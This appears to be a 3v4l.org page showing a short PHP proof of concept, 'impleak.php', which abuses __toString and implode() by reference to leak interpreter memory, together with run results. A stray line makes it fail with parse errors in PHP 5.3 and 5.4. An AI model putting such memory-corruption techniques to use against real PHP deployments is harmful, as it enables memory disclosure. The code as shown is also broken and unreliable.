3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php // impleak.php // mem leak found by n0b0dy class volatile { public function __toString() { unset($GLOBALS['arr1'][0]); unset($GLOBALS['arr1'][1]); memory 0x08048000 $GLOBALS['test1'] .= "\x00\x80\x04\x08\xff\xff\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00"; return ''; } } $test1=''; $arr1 = array(new volatile, 1); $data = implode(",", &$arr1); var_dump($data);
Output for 5.4.0 - 5.4.23
Parse error: syntax error, unexpected '0x08048000' (T_LNUMBER) in /in/pDDJj on line 9
Process exited with code 255.
Output for 5.3.0 - 5.3.28
Parse error: syntax error, unexpected T_LNUMBER in /in/pDDJj on line 9
Process exited with code 255.